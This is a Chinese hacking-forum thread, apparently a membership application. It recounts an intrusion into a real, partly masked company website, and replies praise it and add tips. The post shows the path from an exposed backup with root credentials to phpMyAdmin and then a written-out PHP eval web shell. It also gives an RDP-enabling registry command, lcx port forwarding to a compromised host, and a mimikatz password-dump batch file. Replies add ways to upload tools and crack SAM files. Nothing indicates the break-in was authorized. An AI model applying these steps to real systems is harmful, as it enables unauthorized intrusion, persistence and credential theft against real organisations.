九零登录

九零»90WiKi - 90Sec Team › --== 资料库==-- › 账号审核 {Account audit} › 【已转正】一次对某企业站点的渗透
12下一页
返回列表

[【通过】] 【已转正】一次对某企业站点的渗透

[复制链接]
发表于 2016-8-14 16:30:56 | 显示全部楼层 |阅读模式
【目标站点】
http://rxxxx.com

https://forum.90sec.org/forum.php?mod=attachment&aid=MjE1MDd8NmY5ZGE0NDl8MTQ3MTE2MzE3NnwyOTE4fDk3ODk%3D&noupdate=yes


【收集信息】
网站脚本语言：PHP
搭建环境：Apache2.2
数据库：Mysql
操作系统：Windows2003



【服务器IP】
经判定
服务器ip地址为：
11x.xxx.87.70


【网站CMS】
易商宝 (后台看到的 )  


【弱点探测】
Web端漏洞：目录遍历
Sql注入：不存在


【目录扫描】
通过御剑获得站点目录下存在以下目录
/admin/
/user/
/Phpmyadmin/
/db/网站备份


【弱点利用】
发现存在/db/back/目录下存在备份文件
点开最后一个14年的备份



数据库账号：root
数据库密码：rxxxxx
绝对路径：D:/webroot/esb_base/                根据后面收集的信息 判定此目录非网站绝对路径

【继续翻看目录】
发现在user目录下有个hellword.php


【得到配置信息】
打开发现是phpinfo
https://forum.90sec.org/forum.php?mod=attachment&aid=MjE1MTF8ZTY3YTkxYTF8MTQ3MTE2MzE3NnwyOTE4fDk3ODk%3D&noupdate=yes


搜索DOCUMENT_ROOT查看网站所在目录
https://forum.90sec.org/forum.php?mod=attachment&aid=MjE1MTJ8ZDA4ODcyZTl8MTQ3MTE2MzE3NnwyOTE4fDk3ODk%3D&noupdate=yes

PHP版本：5.2.6  
站点绝对路径为： E:/rxxxxweb/www/htdocs/

【信息利用】
用前面收集到的root密码登录phpmyadmin
尝试登陆phpmyadmin
人品爆发 进来了
https://forum.90sec.org/forum.php?mod=attachment&aid=MjE1MTN8OWFhYTRiMTd8MTQ3MTE2MzE3NnwyOTE4fDk3ODk%3D&noupdate=yes


利用PHPmyadmin导出一句话到网站目录
https://forum.90sec.org/forum.php?mod=attachment&aid=MjE1MTR8ZmFjMjc3NjB8MTQ3MTE2MzE3NnwyOTE4fDk3ODk%3D&noupdate=yes


写入成功 查看目录  发现不存在



【猜测】
有杀毒软件，把我的一句话给杀了或者拦截掉了


【继续尝试】
换个免杀一句话  再次尝试写入
       <?php $a=$_POST['x']; $b=&$a; @eval($b);?>
【一条龙】
通常情况在windows环境下 如果没有给Apache降权  那么
Windows + Apache = System
https://forum.90sec.org/forum.php?mod=attachment&aid=MjE1MTh8ZDg5NzE3YjR8MTQ3MTE2MzE3NnwyOTE4fDk3ODk%3D&noupdate=yes


添加账号

查看读取3389端口  3389端口没改


执行：
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
开启3389端口
https://forum.90sec.org/forum.php?mod=attachment&aid=MjE1MjJ8MjdmZDQwNzd8MTQ3MTE2MzE3NnwyOTE4fDk3ODk%3D&noupdate=yes


Lcx端口转发
将服务器上的3389端口转发到肉鸡上   这里就不多说了  各位表哥都会
https://forum.90sec.org/forum.php?mod=attachment&aid=MjE1MjR8ZWUwMTBiNjZ8MTQ3MTE2MzE3NnwyOTE4fDk3ODk%3D&noupdate=yes


就这一台主机   没办法深入了

mimikatz抓取管理员密码  
    在mimikatz目录下新建个LOOK_PassWord.bat
    文件内容如为:mimikatz privilege::debug sekurlsa::logonpasswords >> test.txt exit
    以管理员权限运行LOOK_PassWord.bat
    生成test.txt
很可惜 并没有抓到管理员账号

【证实猜想】
确实有杀毒软件  卡巴+360   马让卡巴杀了
https://forum.90sec.org/forum.php?mod=attachment&aid=MjE1Mjh8Y2UxNDkyZjZ8MTQ3MTE2MzE3NnwyOTE4fDk3ODk%3D&noupdate=yes


【总结】
这次还是运气比较好
备份文件可以访问
管理员没把Apache配置好


【后话】
   真的是第一次写帖子，有错请各位指出。   //刚刚发错贴 好尴尬
  本来想发代码审计的，想了想还是发这个。
  虽然没什么亮点，还是希望能够加入90，跟大牛们一同学习。

==========================================
超过十位正式成员同意，转正成功。
                            管理05


单选投票, 共有 56 人参与投票
您所在的用户组没有投票权限

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90！

查看全部评分

回复

举报

发表于 2016-8-14 16:48:25 | 显示全部楼层
好像没什么亮点哈
回复

举报

发表于 2016-8-14 16:52:41 | 显示全部楼层
标题少了【申请转正】
之前在帖子叫你看认真看啦太不认真啦
回复

举报

发表于 2016-8-14 16:52:51 | 显示全部楼层
弱弱的问一句。lcx.exe怎么上传的。
除了写ftp还有什么好一点的方法吗
回复

举报

发表于 2016-8-14 19:16:43 | 显示全部楼层
下载sam文件，然后导入到那个啥软件里秒破
回复

举报

发表于 2016-8-14 20:19:52 | 显示全部楼层
你的入侵很顺利，恭喜。

不过我还是对你的Lcx感兴趣，能不被360+卡巴杀， [email protected] 期待。


我也是新入90sec的，共勉！
回复

举报

发表于 2016-8-14 20:20:39 | 显示全部楼层
blues 发表于 2016-8-14 19:16
下载sam文件，然后导入到那个啥软件里秒破

你说的是脱裤吧。
回复

举报

发表于 2016-8-14 20:36:45 | 显示全部楼层
方核桃和圆核桃 发表于 2016-8-14 16:52
弱弱的问一句。lcx.exe怎么上传的。
除了写ftp还有什么好一点的方法吗

lz不是有shell么，qwq，大表哥没看清吧。win下常用的ftp，powershell，bitsadmin，vbs吧
回复

举报

发表于 2016-8-14 20:37:01 | 显示全部楼层
14年的备份文件两年了还没修改密码，管理员安全意识太差。

信息收集较清晰，觉得你那几个目录不是御剑扫的，如果是御剑扫的，不会就这几个目录。

信息收集——遍历——发现遗留备份——备份内得到数据库账号密码(root)——phpmyadmin导出拿shell(gpc还没开)——内网环境，转发

我理解的没错吧。
回复

举报

发表于 2016-8-14 22:25:01 | 显示全部楼层
mtjbyddzqfwdyy 发表于 2016-8-14 20:20
你说的是脱裤吧。

脱裤跟sam有啥关系
回复

举报

 楼主| 发表于 2016-8-15 09:31:28 | 显示全部楼层
Shin 发表于 2016-8-14 16:52
标题少了【申请转正】
之前在帖子叫你看认真看啦太不认真啦

Shin大牛 确实是我比较粗心
昨天比较忙  谢谢提醒啦  
回复

举报

 楼主| 发表于 2016-8-15 09:35:54 | 显示全部楼层
方核桃和圆核桃 发表于 2016-8-14 16:52
弱弱的问一句。lcx.exe怎么上传的。
除了写ftp还有什么好一点的方法吗

我是直接用菜刀，把lcx拖进去的

建议表哥看看这篇文章   

回复

举报

 楼主| 发表于 2016-8-15 09:40:29 | 显示全部楼层
方核桃和圆核桃 发表于 2016-8-14 16:52
弱弱的问一句。lcx.exe怎么上传的。
除了写ftp还有什么好一点的方法吗

我是直接用菜刀  把lcx拖进去的

除了ftp  也可以用
vbs上传 、powershell、bitsadmin等方法上传
建议表哥看看这篇文章

cmd上传文件的n种方法
http://www.secbox.cn/hacker/15536.html

评分

参与人数 1酒票 +1 收起 理由
方核桃和圆核桃 + 1 积极参与讨论

查看全部评分

回复

举报

 楼主| 发表于 2016-8-15 09:46:37 | 显示全部楼层
blues 发表于 2016-8-14 19:16
下载sam文件，然后导入到那个啥软件里秒破

感谢blues师傅提醒    以前不知道这种方法    刚刚去百度了一下  
回复

举报

发表于 2016-8-15 09:50:57 | 显示全部楼层
看你的文档整理干净，虽然没有亮点，通过下。
回复

举报

 楼主| 发表于 2016-8-15 09:54:11 | 显示全部楼层
接地气 发表于 2016-8-14 20:37
14年的备份文件两年了还没修改密码，管理员安全意识太差。

信息收集较清晰，觉得你那几个目录不是御剑扫 ...

接地气师傅  久仰大名    
这次确实是运气比较好，管理员疏于管理。
是用御剑扫出来的，扫出来也不止这些，因为其他目录并没有可以利用的地方，我就自动忽略了，将能利用的目录拿出来。  

接地气师傅的理解非常到位 哈哈   


回复

举报

 楼主| 发表于 2016-8-15 09:58:00 | 显示全部楼层
mtjbyddzqfwdyy 发表于 2016-8-14 20:19
你的入侵很顺利，恭喜。

不过我还是对你的Lcx感兴趣，能不被360+卡巴杀，  期待。

感谢mtjbyddzqfwdyy师傅的支持
其实是因为服务器上的这个卡巴没有更新病毒库   14年的病毒库   所以才没杀我lcx的  



回复

举报

 楼主| 发表于 2016-8-15 10:07:21 | 显示全部楼层
Sion 发表于 2016-8-15 09:50
看你的文档整理干净，虽然没有亮点，通过下。

感谢sion师傅支持      谢谢   

回复

举报

发表于 2016-8-15 10:15:53 | 显示全部楼层
j2ekim 发表于 2016-8-15 09:46
感谢blues师傅提醒    以前不知道这种方法    刚刚去百度了一下

哈哈，这个就是多实践，看别人的文章涨姿势的
回复

举报

发表于 2016-8-15 10:48:47 | 显示全部楼层
运气 备份文件可看
回复

举报

发表于 2016-8-15 14:36:15 | 显示全部楼层
接地气 发表于 2016-8-14 20:37
14年的备份文件两年了还没修改密码，管理员安全意识太差。

信息收集较清晰，觉得你那几个目录不是御剑扫 ...

师傅 从楼主的文章能判断出gpc没开吗？哪一个点呢？
回复

举报

发表于 2016-8-15 14:38:28 | 显示全部楼层
虽然没什么比较亮眼的地方，但是我觉得楼主的态度很端正，而且思路也很清晰。通过！
回复

举报

发表于 2016-8-15 21:37:26 | 显示全部楼层
方核桃和圆核桃 发表于 2016-8-14 16:52
弱弱的问一句。lcx.exe怎么上传的。
除了写ftp还有什么好一点的方法吗

菜刀可以直接拖进去。

回复

举报

 楼主| 发表于 2016-8-15 22:38:45 | 显示全部楼层
maya66 发表于 2016-8-15 10:48
运气 备份文件可看

先感谢maya66师傅的回复
  确实是运气比较好      下次发帖子一定发有技术含量的     
回复

举报

 楼主| 发表于 2016-8-15 22:42:45 | 显示全部楼层
nearg1e 发表于 2016-8-15 14:38
虽然没什么比较亮眼的地方，但是我觉得楼主的态度很端正，而且思路也很清晰。通过！

感谢nearg1e师傅的投票  

希望能在90学到更多知识   下次发帖一定发有亮点的

回复

举报

下一页 »
12下一页
返回列表

九零

GMT+8, 2026-10-22 13:31

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表